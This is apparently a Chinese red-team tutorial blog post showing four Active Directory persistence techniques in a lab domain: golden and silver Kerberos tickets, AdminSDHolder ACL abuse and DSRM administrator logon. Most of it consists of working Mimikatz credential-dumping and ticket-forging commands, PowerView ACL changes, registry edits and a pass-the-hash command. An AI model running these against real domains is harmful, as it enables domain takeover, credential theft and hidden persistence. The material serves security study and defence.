• 域内持久化后门


    0x01 金票

    可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。

    1.1 收集krbtgt密码信息

    1. privilege::debug
    2. lsadump::lsa /inject /name:krbtgt

    得到krbtgt的hash:

    c73caed3bc6f0a248e51d37b9a8675fa
    

    域sid值:

    S-1-5-21-151877218-3666268517-4145415712
    

    1.2 金票利用

    使用mimikatz伪造kerberos票证

    生成gold.kribi

    1. mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
    2. /krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
    3. /ticket:gold.kirbi"

    可以看到没有任何票证。

    导入gold.kribi

    kerberos::ptt C:\Users\jack\Desktop\gold.kirbi
    

    成功导入administrator票据。

    可以通过事件管理器查看到是以administrator来登录的

    0x02 银票

    如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。

    这里使用CIFS服务,该服务是windows机器之间的文件共享。

    2.1 获取sid

    whoami /user
    

    2.2 导出服务账号的NTLM Hash

    1. privilege::Debug
    2. sekurlsa::logonpasswords

    2.3 创建银票

    kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt
    

    psexec获取DC机器cmd

    0x03 AdminSDHolder组

    AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。

    默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。

    1. 在server2000中引入,默认包含如下的组:
    2. Administrators
    3. Domain Admins
    4. Account Operators
    5. Backup Operators
    6. Domain Controllers
    7. Enterprise Admins
    8. Print Operators
    9. Replicator
    10. Read-only Domain Controllers
    11. Schema Admins
    12. Server Operators

    其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。

    3.1 使用powerview查询

    查询ad保护的域的用户

    Get-NetUser -AdminCount |select samaccountname
    

    查询域中受ad保护的所有组

    Get-netgroup -AdminCount | select name
    

    3.2 使用ActiveDirectory

    查询ad保护的域中所有的用户和组

    1. Import-Module ActiveDirectory 
    2. Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

    3.3 添加用户

    添加jack用户对其有完全控制权限。

    Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All
    

    然后验证下,这里的sid为jack用户的。

    1. Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
    2. 8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique

    默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。

    reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /1 /f
    

     

    3.4 恢复

    恢复触发时间

    reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /120 /f
    

    取消jack用户对adminSDHolder的权限

    Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose
    

    0x04 DSRM凭证

    每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。

    4.1 获取本地管理员hash

    1. token::elevate
    2. lsadump::sam

    得到hash为:

    852a844adfce18f66009b4f14e0a98de
    

    4.2 检查是否工作

    如果注册表项的值为0或者不存在,需要将其设置为2。

    检查key是否存在并且获取值:

    Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
    

    如果不存在则创建值为2的键:

    New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
    

    如果存在但是不为2设置为2:

    Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
    

    4.3 PTH域控

    sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe
    

  • 相关阅读:
    如何部署 Git 实现多人协同开发
    我的创作纪念日
    Linux 文本操作指令
    如何再kali中下载iwebsec靶场
    恒运资本:煤炭、石油板块拉升,安泰集团一度涨停,中曼石油等走高
    健身中心健身管理系统的设计与实现(源码+数据脚本+论文+技术文档)
    几分钟上线一个项目文档网站,这款开源神器实在太香了~
    ON DUPLICATE KEY UPDATE 导致自增ID跳跃式增长
    Elasticsearch 对于大数据量(上亿量级)的聚合如何实现?
    第十九章、【Linux】开机流程、模块管理与Loader
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/127641339